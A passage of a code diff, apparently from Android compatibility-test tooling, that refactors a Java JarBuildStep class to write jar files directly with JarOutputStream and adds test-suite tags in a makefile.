- BuildFile outputFile, boolean deleteInputFileAfterBuild) {
- super(inputFile, outputFile);
- this.destFileName = destFileName;
+ public JarBuildStep(BuildFile inputFile, String outputJarEntryName,
+ BuildFile outputJarFile, boolean deleteInputFileAfterBuild) {
+ super(inputFile, outputJarFile);
+ this.outputJarEntryName = outputJarEntryName;
this.deleteInputFileAfterBuild = deleteInputFileAfterBuild;
}
@Override
boolean build() {
if (super.build()) {
- File tempFile = new File(inputFile.folder, destFileName);
+ File tempFile = new File(inputFile.folder, outputJarEntryName);
try {
if (!inputFile.fileName.equals(tempFile)) {
copyFile(inputFile.fileName, tempFile);
@@ -56,25 +64,53 @@
+ outDir.getAbsolutePath());
return false;
}
- String[] arguments = new String[] {
- "-cMf", outputFile.fileName.getAbsolutePath(), "-C",
- inputFile.folder.getAbsolutePath(), destFileName};
- Main main = new Main(System.out, System.err, "jar");
- boolean success = main.run(arguments);
- if (success) {
- if (tempFile != null) {
- tempFile.delete();
- }
- if (deleteInputFileAfterBuild) {
- inputFile.fileName.delete();
- }
- } else {
- System.err.println("exception in JarBuildStep while calling jar with args:" +
- " \"-cMf\", "+outputFile.fileName.getAbsolutePath()+", \"-C\"," +
- inputFile.folder.getAbsolutePath()+", "+ destFileName);
+ // Find the input. We'll need to look into the input folder, but check with the
+ // (relative) destination filename (this is effectively removing the inputFile folder
+ // from the entry path in the jar file).
+ Path absoluteInputPath = Paths.get(inputFile.folder.getAbsolutePath())
+ .resolve(outputJarEntryName);
+ File absoluteInputFile = absoluteInputPath.toFile();
+ if (!absoluteInputFile.exists()) {
+ // Something went wrong.
+ throw new IllegalArgumentException(absoluteInputFile.getAbsolutePath());
}
- return success;
+
+ // Use a JarOutputStream to create the output jar file.
+ File jarOutFile = outputFile.fileName;
+ try (JarOutputStream jarOut = new JarOutputStream(new FileOutputStream(jarOutFile))) {
+ // Create the JAR entry for the file. Use destFileName, and copy the timestamp
+ // from the input.
+ JarEntry entry = new JarEntry(outputJarEntryName);
+ entry.setTime(absoluteInputFile.lastModified());
+
+ // Push the entry. The stream will then be ready to accept content.
+ jarOut.putNextEntry(entry);
+
+ // Copy absoluteInputFile into the jar file.
+ Files.copy(absoluteInputPath, jarOut);
+
+ // Finish the entry.
+ jarOut.closeEntry();
+
+ // (Implicitly close the stream, finishing the jar file.)
+ } catch (Exception e) {
+ System.err.println("exception in JarBuildStep for " +
+ outputFile.fileName.getAbsolutePath() + ", " + outputJarEntryName);
+ e.printStackTrace(System.err);
+ jarOutFile.delete();
+ return false;
+ }
+
+ // Clean up.
+ if (tempFile != null) {
+ tempFile.delete();
+ }
+ if (deleteInputFileAfterBuild) {
+ inputFile.fileName.delete();
+ }
+
+ return true;
}
return false;
}
@@ -82,7 +118,7 @@
@Override
public int hashCode() {
return inputFile.hashCode() ^ outputFile.hashCode()
- ^ destFileName.hashCode();
+ ^ outputJarEntryName.hashCode();
}
@Override
@@ -91,7 +127,7 @@
JarBuildStep other = (JarBuildStep) obj;
return inputFile.equals(other.inputFile)
&& outputFile.equals(other.outputFile)
- && destFileName.equals(other.destFileName);
+ && outputJarEntryName.equals(other.outputJarEntryName);
}
return false;
diff --git a/tools/vm-tests-tf/targetprep/Android.mk b/tools/vm-tests-tf/targetprep/Android.mk
index a05b658..32300b2 100644
--- a/tools/vm-tests-tf/targetprep/Android.mk
+++ b/tools/vm-tests-tf/targetprep/Android.mk
@@ -25,7 +25,7 @@
LOCAL_MODULE := compatibility-host-vm-targetprep
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)